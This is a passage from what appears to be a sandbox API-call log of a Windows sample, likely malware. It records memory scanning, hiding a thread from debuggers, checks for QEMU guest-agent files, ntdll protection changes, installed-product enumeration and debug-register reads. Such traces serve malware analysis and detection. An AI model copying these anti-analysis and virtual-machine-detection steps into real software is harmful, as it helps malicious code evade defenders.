NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x99000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x98000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x97000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x96000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x95000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x94000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x93000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xfa000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x92000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xfb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x91000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xfc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x90000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xfd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xfe000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xff000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x100000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x101000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x102000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x102000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x103000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x103000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x89000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x104000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x104000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x88000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x105000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x105000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x87000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x106000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x106000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x86000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x107000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x107000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x85000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.854] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x108000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x108000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x84000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0121.246] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.246] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.246] LoadLibraryA (lpLibFileName="user32") returned 0x770d0000 [0121.247] EnumWindows (lpEnumFunc=0x1a04cf, lParam=0x18fde0) returned 1 [0121.251] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.261] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.261] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18fdc8*=0x77bc0000, NumberOfBytesToProtect=0x18fdcc, NewAccessProtection=0x40, OldAccessProtection=0x18fdd0 | out: BaseAddress=0x18fdc8*=0x77bc0000, NumberOfBytesToProtect=0x18fdcc, OldAccessProtection=0x18fdd0*=0x20) returned 0x0 [0121.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18fdc8*=0x77bc0000, NumberOfBytesToProtect=0x18fdcc, NewAccessProtection=0x20, OldAccessProtection=0x18fdd0 | out: BaseAddress=0x18fdc8*=0x77bc0000, NumberOfBytesToProtect=0x18fdcc, OldAccessProtection=0x18fdd0*=0x40) returned 0x0 [0121.340] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.344] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0121.345] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.350] CreateFileA (lpFileName="C:\\Program Files\\Qemu-ga\\qemu-ga.exe" (normalized: "c:\\program files\\qemu-ga\\qemu-ga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.351] CreateFileA (lpFileName="C:\\Program Files\\qga\\qga.exe" (normalized: "c:\\program files\\qga\\qga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.351] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.351] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18fe4c*=0x0, ZeroBits=0x0, RegionSize=0x18fe48*=0x1b102000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x18fe4c*=0x1ee0000, RegionSize=0x18fe48*=0x1b102000) returned 0x0 [0121.366] LoadLibraryA (lpLibFileName="Msi.dll") returned 0x75390000 [0121.376] LoadLibraryA (lpLibFileName="Msi.dll") returned 0x75390000 [0121.376] MsiEnumProductsA (in: iProductIndex=0x0, lpProductBuf=0x1ef0000 | out: lpProductBuf="{90160000-008C-0000-1000-0000000FF1CE}") returned 0x0 [0121.388] MsiGetProductInfoA (in: szProduct="{90160000-008C-0000-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0x0 [0121.388] MsiEnumProductsA (in: iProductIndex=0x1, lpProductBuf=0x1ef0000 | out: lpProductBuf="{90160000-008C-0409-1000-0000000FF1CE}") returned 0x0 [0121.389] MsiGetProductInfoA (in: szProduct="{90160000-008C-0409-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.389] MsiEnumProductsA (in: iProductIndex=0x2, lpProductBuf=0x1ef0000 | out: lpProductBuf="{90160000-007E-0000-1000-0000000FF1CE}") returned 0x0 [0121.390] MsiGetProductInfoA (in: szProduct="{90160000-007E-0000-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.390] MsiEnumProductsA (in: iProductIndex=0x3, lpProductBuf=0x1ef0000 | out: lpProductBuf="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 0x0 [0121.391] MsiGetProductInfoA (in: szProduct="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.391] MsiEnumProductsA (in: iProductIndex=0x4, lpProductBuf=0x1ef0000 | out: lpProductBuf="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 0x0 [0121.392] MsiGetProductInfoA (in: szProduct="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.392] MsiEnumProductsA (in: iProductIndex=0x5, lpProductBuf=0x1ef0000 | out: lpProductBuf="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 0x0 [0121.393] MsiGetProductInfoA (in: szProduct="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.394] MsiEnumProductsA (in: iProductIndex=0x6, lpProductBuf=0x1ef0000 | out: lpProductBuf="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 0x0 [0121.394] MsiGetProductInfoA (in: szProduct="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.395] MsiEnumProductsA (in: iProductIndex=0x7, lpProductBuf=0x1ef0000 | out: lpProductBuf="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 0x0 [0121.395] MsiGetProductInfoA (in: szProduct="{68306422-7C57-373F-8860-D26CE4BA2A15}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.395] MsiEnumProductsA (in: iProductIndex=0x8, lpProductBuf=0x1ef0000 | out: lpProductBuf="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 0x0 [0121.396] MsiGetProductInfoA (in: szProduct="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.396] MsiEnumProductsA (in: iProductIndex=0x9, lpProductBuf=0x1ef0000 | out: lpProductBuf="{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 0x0 [0121.397] MsiGetProductInfoA (in: szProduct="{26A24AE4-039D-4CA4-87B4-2F03217071FF}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle", pcchValueBuf=0x18fedc) returned 0x0 [0121.397] MsiEnumProductsA (in: iProductIndex=0xa, lpProductBuf=0x1ef0000 | out: lpProductBuf="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}") returned 0x0 [0121.398] MsiGetProductInfoA (in: szProduct="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle", pcchValueBuf=0x18fedc) returned 0xea [0121.398] MsiEnumProductsA (in: iProductIndex=0xb, lpProductBuf=0x1ef0000 | out: lpProductBuf="{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 0x0 [0121.399] MsiGetProductInfoA (in: szProduct="{929FBD26-9020-399B-9A7A-751D61F0B942}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle", pcchValueBuf=0x18fedc) returned 0xea [0121.399] MsiEnumProductsA (in: iProductIndex=0xc, lpProductBuf=0x1ef0000 | out: lpProductBuf="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 0x0 [0121.400] MsiGetProductInfoA (in: szProduct="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle", pcchValueBuf=0x18fedc) returned 0xea [0121.400] MsiEnumProductsA (in: iProductIndex=0xd, lpProductBuf=0x1ef0000 | out: lpProductBuf="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 0x0 [0121.401] MsiGetProductInfoA (in: szProduct="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle", pcchValueBuf=0x18fedc) returned 0xea [0121.401] MsiEnumProductsA (in: iProductIndex=0xe, lpProductBuf=0x1ef0000 | out: lpProductBuf="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 0x0 [0121.402] MsiGetProductInfoA (in: szProduct="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0x0 [0121.402] MsiEnumProductsA (in: iProductIndex=0xf, lpProductBuf=0x1ef0000 | out: lpProductBuf="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 0x0 [0121.403] MsiGetProductInfoA (in: szProduct="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.403] MsiEnumProductsA (in: iProductIndex=0x10, lpProductBuf=0x1ef0000 | out: lpProductBuf="{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 0x0 [0121.404] MsiGetProductInfoA (in: szProduct="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.404] MsiEnumProductsA (in: iProductIndex=0x11, lpProductBuf=0x1ef0000 | out: lpProductBuf="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 0x0 [0121.404] MsiGetProductInfoA (in: szProduct="{582EA838-9199-3518-A05C-DB09462F68EC}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.405] MsiEnumProductsA (in: iProductIndex=0x12, lpProductBuf=0x1ef0000 | out: lpProductBuf="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 0x0 [0121.405] MsiGetProductInfoA (in: szProduct="{9AC08E99-230B-47e8-9721-4577B7F124EA}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0x648 [0121.406] MsiEnumProductsA (in: iProductIndex=0x13, lpProductBuf=0x1ef0000 | out: lpProductBuf="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 0x0 [0121.407] MsiGetProductInfoA (in: szProduct="{B175520C-86A2-35A7-8619-86DC379688B9}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.407] MsiEnumProductsA (in: iProductIndex=0x14, lpProductBuf=0x1ef0000 | out: lpProductBuf="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 0x0 [0121.408] MsiGetProductInfoA (in: szProduct="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.408] MsiEnumProductsA (in: iProductIndex=0x15, lpProductBuf=0x1ef0000 | out: lpProductBuf="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 0x0 [0121.409] MsiGetProductInfoA (in: szProduct="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.409] MsiEnumProductsA (in: iProductIndex=0x16, lpProductBuf=0x1ef0000 | out: lpProductBuf="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}") returned 0x0 [0121.410] MsiGetProductInfoA (in: szProduct="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.410] MsiEnumProductsA (in: iProductIndex=0x17, lpProductBuf=0x1ef0000 | out: lpProductBuf="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 0x0 [0121.411] MsiGetProductInfoA (in: szProduct="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.411] MsiEnumProductsA (in: iProductIndex=0x18, lpProductBuf=0x1ef0000 | out: lpProductBuf="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}") returned 0x0 [0121.412] MsiGetProductInfoA (in: szProduct="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18fedc) returned 0xea [0121.412] MsiEnumProductsA (in: iProductIndex=0x19, lpProductBuf=0x1ef0000 | out: lpProductBuf="{4A03706F-666A-4037-7777-5F2748764D10}") returned 0x0 [0121.412] MsiGetProductInfoA (in: szProduct="{4A03706F-666A-4037-7777-5F2748764D10}", szAttribute="Publisher", lpValueBuf=0x1ef00ff, pcchValueBuf=0x18fedc | out: lpValueBuf="Oracle, Inc.", pcchValueBuf=0x18fedc) returned 0x0 [0121.413] MsiEnumProductsA (in: iProductIndex=0x1a, lpProductBuf=0x1ef0000 | out: lpProductBuf="{4A03706F-666A-4037-7777-5F2748764D10}") returned 0x103 [0121.413] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.413] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.413] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0121.414] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.414] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.414] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.414] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.414] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0121.415] LoadLibraryA (lpLibFileName="shell32") returned 0x76260000 [0121.418] LoadLibraryA (lpLibFileName="shell32") returned 0x76260000 [0121.419] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0121.419] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0121.419] LoadLibraryA (lpLibFileName="advapi32") returned 0x75cf0000 [0121.424] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, 